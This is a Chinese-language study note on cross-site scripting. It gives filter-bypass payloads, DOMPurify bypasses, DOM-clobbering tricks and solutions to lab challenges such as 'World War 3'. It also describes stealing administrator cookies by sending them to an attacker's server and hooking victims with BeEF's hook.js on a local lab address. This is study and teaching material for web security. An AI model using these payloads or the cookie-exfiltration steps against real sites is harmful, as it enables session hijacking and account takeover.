目录
XSS(跨站脚本攻击)
产生原因:
程序与没有对用户的输入做好过滤,导致恶意的js代码插入到页面,当用户访问页面的时候,代码被执行,达到攻击的目的。
反射型XSS
非持久型,不能进入数据库,只能在页面
弹窗函数: alert() ,confirm(),prompt()
绕过
1"> <script>alert(1)</script> //闭合符号
1" onclick ="alert(1)" //点击事件触发弹窗
1" onmouseover="alert(1)" //onmouseover事件是鼠标移动到元素上时触发
<a href="javascript:alert(1)">aaa</a>
<svg><script>javascript:alert(1)</script></svg> //svg命名空间下,支持符号编码
//<iframe src="http://www.xianoupeng.com"></iframe> //在页面嵌入另一个页面,
<iframe srcdoc="<script>alert(1)</script>"> //允许编码符号
<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>
//把throw里面的内容当作字符串,抛出异常给eval
//必须加'=',相当于把alert(1)赋值给Uncaught, eval('Uncaught=alert(1)')
--!><script>alert(1)</script> //闭合注释符
type="image" src=1 onerror
=alert(1) //换行绕过正则
<image src=1 onerror="alert(1)" //单标签绕过正则
<svg onload="alert(1)"
</style ><script>alert(1)</script> //如果正则过滤掉</style>,后面加空格</style >
<scrscriptript> //双写绕过
DOM型XSS
通过js代码控制页面html元素,比如用 innerHTML ,innerText 插入文本到页面中
一般是属于反射型XSS
靶场实战
1、没有做任何过滤
payload: ?somebody=<img src=1 onerror="alert(1337)">
2、将innerHTML换成了innerText
innerText 过滤掉了标签,触发点在eval函数
payload: ?jeff=aaa";alert(1337);"
3、过滤了 < >
payload : ?wey=aa" onfocus=alert(1337) autofocus="
4、
payload: ?ricardo=javascript:alert(1337)
5、过滤掉括号,反引号,反斜杠
?markassbrownlee=<img%20src=1%20onerror=location="javascript:alert%25281337%2529">
location将后面的内容转换成了字符串,使符号可以编码
6、过滤掉了所有字母数字
用jsfuck框架,但是必须要再进行urlcode编码,url栏自动解码
7、
(1)构造函数绕过
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
(2)30进制绕过
?mafia=eval(8680439..toString(30))(1337)
(3)location.hash.slice(1)
?mafia=eval(location.hash.slice(1))#alert(1337)
location.hash = #alert(1337)
所以再用切片将#去除
DOM破坏
DOM对象的属性被当作全局变量调用,比如id, name ,攻击者可以构造一个与这些属性值相同的元素,将他进行覆盖,使document.属性值指向了构造的元素
实战1
思路:
DOMPurify框架过滤了上面无法绕过,只能从setTimeout入手
我们可以构造一个id值为ok的元素,再将弹窗函数写在构造的元素中
<a>标签的toString方法会自动调用href属性
DOMPurify框架白名单里面有 cid,tel等
?boomer=<a id=ok href=tel:alert(1337)>
绕过:
上述代码想删除标签中所有属性,防止攻击
问题:循环的时候是在同一个数组中删除,在删除第一个之后,第二个自动补位到第一个,而指针已经移动到第二位,所以所有偶数位的都不会被删除
实战2
改进之后:
只能用DOM破坏进行绕过
我们发现他是用 el.attributes的方式将所有属性遍历出来,然后再进行删除。
那么如果我们可以构造一个元素,它的id值就是attributes,那么el.attributes就指向了我们构造的元素
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)">
<input id=attributes><input id=attributes>
实战3
寻找源码关键部分
发现在上传头像处进行拼接的语句是,当没有上传头像时就用defaultAvatar.avatar,那么我们就构造x.y双层的结构
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="aaaa:"onerror=alert(1)//">
第一次取 window.defaultAvatar 取到 数组,将两个<a>标签取到
第二次 defaultAvatar.avatar就取到第二个<a>标签,然后调用href里面的值
World War 3
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
1、bypass DOMpurify
jquery.html() 有自动修复标签的功能,当我们传入<style/>
时,会自动补充成 <style> </style>
所以我们传入<style><style/><script>alert(1337)//
则会被解析成如下形式,成功逃逸<script>
标签。
<style>
<style>
</style>
<script>alert(1337)//
2、DOM-clobbering
覆盖变量notify,notify默认为false,但是必须为true才能进入html()方法
所以我们构造一个元素,它的id值为notify,进行dom破坏
<img name=notify><style><style/><script>alert()//
因为img上传图片是异步方式,才能先改变notify的值,才能有后续操作
存储型XSS
持久型 会进入数据库
很重要的作用:拿管理员的cookie
可以通过写 window.location.href的方式让它把cookie发送到你的服务器
document.cooike 获取cookie
beef-xss
kali中自带的一款框架
输入beef-xss直接启动
它是用的3000端口
dvwa靶场测试
会发送到192.168.147.128:3000/hook.js